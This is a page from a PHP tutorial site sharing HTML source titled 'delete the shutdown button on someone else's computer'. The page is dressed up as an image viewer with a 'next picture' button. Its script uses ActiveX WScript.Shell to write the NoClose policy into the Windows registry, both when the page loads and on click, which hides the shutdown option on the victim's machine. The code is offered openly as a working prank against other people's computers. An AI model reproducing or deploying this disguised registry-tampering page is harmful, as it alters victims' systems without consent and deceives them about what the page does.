首页 >php教程 >PHP源码 >删除别人电脑的关机键

删除别人电脑的关机键

WBOY
WBOY原创
2016-08-04 08:53:361180浏览
跳至 [1] [全屏预览]
<!--
E-mail:shyhero@outlook.com
Author: dujianing 
删除关机按钮       
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8"/>
		<title></title>
		<script type="text/javascript" language="javascript"> 
			function disableTaskMgr(flg){        
			var shell = new ActiveXObject("WScript.Shell");       
			try{
				shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
				1,"REG_DWORD")    
			}catch(e){
				throw e;  
			}  
		}  
		</script>
	</head>
	<body onLoad="disableTaskMgr(true)">  
		<img  src="imgs/2.jpg"/ alt="删除别人电脑的关机键" >
		<button onclick="disableTaskMgr(true)">下一张
		</button> 
	</body>
</html>
声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn